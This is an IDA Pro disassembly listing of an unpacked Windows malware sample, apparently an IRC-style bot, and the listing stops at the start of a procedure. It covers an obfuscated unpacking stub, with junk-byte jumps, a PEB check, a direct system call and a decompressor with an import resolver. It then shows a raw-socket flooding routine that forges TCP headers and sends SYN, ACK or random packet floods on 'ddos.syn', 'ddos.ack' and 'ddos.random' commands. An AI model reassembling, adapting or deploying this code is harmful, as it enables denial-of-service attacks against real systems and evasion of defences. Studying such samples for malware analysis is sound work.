;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	BBC38A0EF2CF9E202F88EB47F33D5362

;
; The code at 400000..401000 is	hidden from normal disassembly
; and was loaded because the user ordered to load it explicitly
;
;  <<<<	IT MAY CONTAIN TROJAN HORSES, VIRUSES, AND DO HARMFUL THINGS >>>
;
;


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
HEADER		segment	page public 'DATA' use32
		assume cs:HEADER
		;org 400000h
		assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public __ImageBase

__ImageBase	proc near
		dec	ebp
		pop	edx
		nop
		jmp	short loc_400006
; ---------------------------------------------------------------------------
		align 2


loc_400006:				; CODE XREF: __ImageBase+3j
		push	edx
		jmp	loc_400195
; ---------------------------------------------------------------------------
		dd 4550h, 3014Ch, 3 dup(0)
		dd 30F00E0h, 10Bh, 5 dup(0)
		dd 0Ch,	400000h, 1000h,	200h, 1, 0
		dd 4, 0
		dd 35F200h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 35F000h, 1Fh	dup(0)
		dd 343000h, 1000h, 343000h, 1000h, 3 dup(0)
		dd 0E0000060h, 2 dup(0)
		dd 1B000h, 344000h, 1B000h, 344000h, 3 dup(0)
		dd 0C0000040h, 6164692Eh, 326174h, 1000h, 35F000h, 200h
		dd 35F000h, 417972h, 47000000h,	72507465h, 0C0000040h
		dd 73657264h, 73h, 72695600h, 6C617574h, 746F7250h, 746365h
		db 0
; ---------------------------------------------------------------------------


loc_400195:				; CODE XREF: __ImageBase+7j
		jmp	short loc_400198
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400198:				; CODE XREF: __ImageBase:loc_400195j
		mov	eax, large fs:30h
		jmp	short loc_4001A1
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001A1:				; CODE XREF: __ImageBase+19Ej
		mov	ecx, [eax+0Ch]
		jecxz	short loc_400215
		jmp	short loc_4001A9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001A9:				; CODE XREF: __ImageBase+1A6j
		add	eax, 0ACh
		jmp	short loc_4001B1
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001B1:				; CODE XREF: __ImageBase+1AEj
		cmp	word ptr [eax],	893h
		jmp	short loc_4001B9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001B9:				; CODE XREF: __ImageBase+1B6j
		jnz	short loc_4001C5
		jmp	short loc_4001BE
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001BE:				; CODE XREF: __ImageBase+1BBj
		mov	eax, 0FFFFFF38h
		jmp	short loc_4001D9
; ---------------------------------------------------------------------------


loc_4001C5:				; CODE XREF: __ImageBase:loc_4001B9j
		jmp	short loc_4001C8
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001C8:				; CODE XREF: __ImageBase:loc_4001C5j
		cmp	word ptr [eax],	0A28h
		jnz	short loc_400219
		jmp	short loc_4001D2
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001D2:				; CODE XREF: __ImageBase+1CFj
		mov	eax, 0FFFFFF1Ah
		jmp	short $+2


loc_4001D9:				; CODE XREF: __ImageBase+1C3j
		jmp	short loc_4001DC
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001DC:				; CODE XREF: __ImageBase:loc_4001D9j
		xor	ecx, ecx
		jmp	short loc_4001E1
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001E1:				; CODE XREF: __ImageBase+1DEj
		push	ecx
		jmp	short loc_4001E5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001E5:				; CODE XREF: __ImageBase+1E2j
		push	ecx
		jmp	short loc_4001E9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001E9:				; CODE XREF: __ImageBase+1E6j
		push	11h
		jmp	short loc_4001EE
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001EE:				; CODE XREF: __ImageBase+1EBj
		push	0FFFFFFFEh
		jmp	short loc_4001F3
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001F3:				; CODE XREF: __ImageBase+1F0j
		call	sub_4001FB
		jmp	short sub_4001FB
__ImageBase	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CDh

; =============== S U B	R O U T	I N E =======================================



sub_4001FB	proc near		; CODE XREF: __ImageBase:loc_4001F3p
					; __ImageBase+1F8j

arg_0		= byte ptr  4

		add	dword ptr [esp+0], 18h
		jmp	short loc_400202
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400202:				; CODE XREF: sub_4001FB+4j
		not	eax
		jmp	short loc_400207
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400207:				; CODE XREF: sub_4001FB+9j
		lea	edx, [esp+arg_0]
		jmp	short loc_40020E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40020E:				; CODE XREF: sub_4001FB+10j
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string
		add	esp, 14h
		jmp	short loc_400219
; ---------------------------------------------------------------------------


loc_400215:				; CODE XREF: __ImageBase+1A4j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_400219:				; CODE XREF: __ImageBase+1CDj
					; sub_4001FB+18j
		call	sub_400221
		jmp	short sub_400221
sub_4001FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CDh

; =============== S U B	R O U T	I N E =======================================



sub_400221	proc near		; CODE XREF: sub_4001FB:loc_400219p
					; sub_4001FB+23j
		pop	ebp
		jmp	short loc_400225
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400225:				; CODE XREF: sub_400221+1j
		lea	ebp, [ebp-21Eh]
		jmp	short loc_40022E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40022E:				; CODE XREF: sub_400221+Aj
		mov	ebx, [ebp+138h]
		jmp	short loc_400237
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400237:				; CODE XREF: sub_400221+13j
		add	ebx, ebp
		jmp	short loc_40023C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40023C:				; CODE XREF: sub_400221+18j
		lea	eax, [esp-4]
		jmp	short loc_400243
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400243:				; CODE XREF: sub_400221+1Fj
		push	eax
		jmp	short loc_400247
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400247:				; CODE XREF: sub_400221+23j
		push	4
		jmp	short loc_40024C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40024C:				; CODE XREF: sub_400221+28j
		push	1000h
		jmp	short loc_400254
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400254:				; CODE XREF: sub_400221+30j
		push	ebp
		jmp	short loc_400258
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400258:				; CODE XREF: sub_400221+34j
		call	dword ptr [ebx+30h]
		jmp	short loc_40025E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40025E:				; CODE XREF: sub_400221+3Aj
		mov	eax, 0
		jmp	short loc_400266
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400266:				; CODE XREF: sub_400221+42j
		mov	[ebp+94h], eax
		jmp	short loc_40026F
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40026F:				; CODE XREF: sub_400221+4Bj
		lea	esi, [ebx+50h]
		jmp	short loc_400278
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400278:				; CODE XREF: sub_400221+54j
		lea	edi, [ebp+1000h]
		jmp	short loc_400281
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400281:				; CODE XREF: sub_400221+5Dj
		call	sub_400355
		jmp	short loc_400289
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400289:				; CODE XREF: sub_400221+65j
		mov	esi, 20100h
		jmp	short loc_400291
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400291:				; CODE XREF: sub_400221+6Dj
		or	esi, esi
		jz	loc_400339
		add	esi, ebp


loc_40029B:				; CODE XREF: sub_400221+113j
		jmp	short loc_40029E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40029E:				; CODE XREF: sub_400221:loc_40029Bj
		mov	ecx, [esi+0Ch]
		jmp	short loc_4002A4
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002A4:				; CODE XREF: sub_400221+80j
		or	ecx, ecx
		jz	loc_400339
		jmp	short loc_4002AF
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002AF:				; CODE XREF: sub_400221+8Bj
		add	ecx, ebp
		jmp	short loc_4002B4
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002B4:				; CODE XREF: sub_400221+90j
		mov	edi, ecx
		jmp	short loc_4002B9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002B9:				; CODE XREF: sub_400221+95j
		push	edi
		jmp	short loc_4002BD
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002BD:				; CODE XREF: sub_400221+99j
		call	dword ptr [ebx+28h]
		mov	edi, eax
		jmp	short loc_4002C5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002C5:				; CODE XREF: sub_400221+A1j
		mov	ecx, [esi]
		or	ecx, ecx
		jnz	short loc_4002CE
		mov	ecx, [esi+10h]


loc_4002CE:				; CODE XREF: sub_400221+A8j
		jecxz	short loc_40034B
		add	ecx, ebp
		jmp	short loc_4002D5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002D5:				; CODE XREF: sub_400221+B1j
		mov	edx, [esi+10h]
		jmp	short loc_4002DB
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002DB:				; CODE XREF: sub_400221+B7j
		add	edx, ebp


loc_4002DD:				; CODE XREF: sub_400221+10Ej
		jmp	short loc_4002E0
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002E0:				; CODE XREF: sub_400221:loc_4002DDj
		mov	eax, [ecx]
		jmp	short loc_4002E5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002E5:				; CODE XREF: sub_400221+C1j
		or	eax, eax
		jz	short loc_400331
		jmp	short loc_4002EC
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002EC:				; CODE XREF: sub_400221+C8j
		test	eax, 80000000h
		jz	short loc_4002FD
		jmp	short loc_4002F6
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002F6:				; CODE XREF: sub_400221+D2j
		and	eax, 0FFFFh
		jmp	short loc_400308
; ---------------------------------------------------------------------------


loc_4002FD:				; CODE XREF: sub_400221+D0j
		add	eax, ebp
		jmp	short loc_400302
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400302:				; CODE XREF: sub_400221+DEj
		add	eax, 2
		jmp	short loc_400308
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400308:				; CODE XREF: sub_400221+DAj
					; sub_400221+E4j
		push	ecx
		push	edx
		jmp	short loc_40030D
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40030D:				; CODE XREF: sub_400221+E9j
		push	eax
		push	edi
		jmp	short loc_400312
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400312:				; CODE XREF: sub_400221+EEj
		call	dword ptr [ebx+2Ch]
		jmp	short loc_400318
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400318:				; CODE XREF: sub_400221+F4j
		pop	edx
		pop	ecx
		jmp	short loc_40031D
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40031D:				; CODE XREF: sub_400221+F9j
		or	eax, eax
		jz	short loc_40034B
		mov	[edx], eax
		jmp	short loc_400326
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400326:				; CODE XREF: sub_400221+102j
		add	ecx, 4
		jmp	short loc_40032C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40032C:				; CODE XREF: sub_400221+108j
		add	edx, 4
		jmp	short loc_4002DD
; ---------------------------------------------------------------------------


loc_400331:				; CODE XREF: sub_400221+C6j
		add	esi, 14h
		jmp	loc_40029B
; ---------------------------------------------------------------------------


loc_400339:				; CODE XREF: sub_400221+72j
					; sub_400221+85j
		jmp	short loc_40033C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40033C:				; CODE XREF: sub_400221:loc_400339j
		mov	eax, ebp
		jmp	short loc_400341
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400341:				; CODE XREF: sub_400221+11Dj
		add	eax, 15E11h
		jmp	short loc_400349
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400349:				; CODE XREF: sub_400221+125j
		jmp	eax
; ---------------------------------------------------------------------------


loc_40034B:				; CODE XREF: sub_400221:loc_4002CEj
					; sub_400221+FEj
		jmp	short loc_40034E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40034E:				; CODE XREF: sub_400221:loc_40034Bj
		or	eax, 0FFFFFFFFh
		jmp	short locret_400354
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------

locret_400354:				; CODE XREF: sub_400221+130j
		retn
sub_400221	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_400355	proc near		; CODE XREF: sub_400221:loc_400281p

; FUNCTION CHUNK AT 004003ED SIZE 00000003 BYTES

		push	ebp
		push	ebx
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_40035C:				; CODE XREF: sub_400355+Fj
		movsb
		mov	bl, 2


loc_40035F:				; CODE XREF: sub_400355+34j
					; sub_400355+7Aj
		call	sub_4003D1
		jnb	short loc_40035C
		xor	ecx, ecx
		call	sub_4003D1
		jnb	short loc_40038B
		xor	eax, eax
		call	sub_4003D1
		jnb	short loc_40039B
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_40037D:				; CODE XREF: sub_400355+2Fj
		call	sub_4003D1
		adc	al, al
		jnb	short loc_40037D
		jnz	short loc_4003C7
		stosb
		jmp	short loc_40035F
; ---------------------------------------------------------------------------


loc_40038B:				; CODE XREF: sub_400355+18j
		call	sub_4003DD
		sub	ecx, ebx
		jnz	short loc_4003A4
		call	sub_4003DB
		jmp	short loc_4003C3
; ---------------------------------------------------------------------------


loc_40039B:				; CODE XREF: sub_400355+21j
		lodsb
		shr	eax, 1
		jz	short loc_4003ED
		adc	ecx, ecx
		jmp	short loc_4003C0
; ---------------------------------------------------------------------------


loc_4003A4:				; CODE XREF: sub_400355+3Dj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4003DB
		cmp	eax, 7D00h
		jnb	short loc_4003C0
		cmp	ah, 5
		jnb	short loc_4003C1
		cmp	eax, 7Fh
		ja	short loc_4003C2


loc_4003C0:				; CODE XREF: sub_400355+4Dj
					; sub_400355+5Fj
		inc	ecx


loc_4003C1:				; CODE XREF: sub_400355+64j
		inc	ecx


loc_4003C2:				; CODE XREF: sub_400355+69j
		xchg	eax, ebp


loc_4003C3:				; CODE XREF: sub_400355+44j
		mov	eax, ebp
		mov	bl, 1


loc_4003C7:				; CODE XREF: sub_400355+31j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_40035F
sub_400355	endp


; =============== S U B	R O U T	I N E =======================================



sub_4003D1	proc near		; CODE XREF: sub_400355:loc_40035Fp
					; sub_400355+13p ...
		add	dl, dl
		jnz	short locret_4003DA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4003DA:				; CODE XREF: sub_4003D1+2j
		retn
sub_4003D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4003DB	proc near		; CODE XREF: sub_400355+3Fp
					; sub_400355+55p
		xor	ecx, ecx
sub_4003DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4003DD	proc near		; CODE XREF: sub_400355:loc_40038Bp
		inc	ecx


loc_4003DE:				; CODE XREF: sub_4003DD+Dj
		call	sub_4003D1
		adc	ecx, ecx
		call	sub_4003D1
		jb	short loc_4003DE
		retn
sub_4003DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_400355


loc_4003ED:				; CODE XREF: sub_400355+49j
		pop	ebx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_400355
; ---------------------------------------------------------------------------
		dd 4 dup(0)
		dd 300h	dup(?)
HEADER		ends

; File Name   :	u:\work\bbc38a0ef2cf9e202f88eb47f33d5362_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00343000 (3420160.)
; Section size in file		: 00343000 (3420160.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40CC09+35A5o

var_394		= byte ptr -394h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_421040
		push	eax
		call	sub_413812
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40B2B5
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_409833
		push	[ebp+var_290]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_44CC60	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44CD7C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_44CCDC	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_12], ax
		call	sub_41386E
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_44CCDC	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_44CCD8	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_41386E
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41386E
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_41F04C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_41F048	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_413CC0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_41386E
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_14], ax
		call	sub_41386E
		mov	edi, eax
		shl	edi, 10h
		call	sub_41386E
		or	edi, eax
		push	edi
		call	dword_44CCDC	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_41F048	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_421078
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_409833
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_44CD70	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_44CC48	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
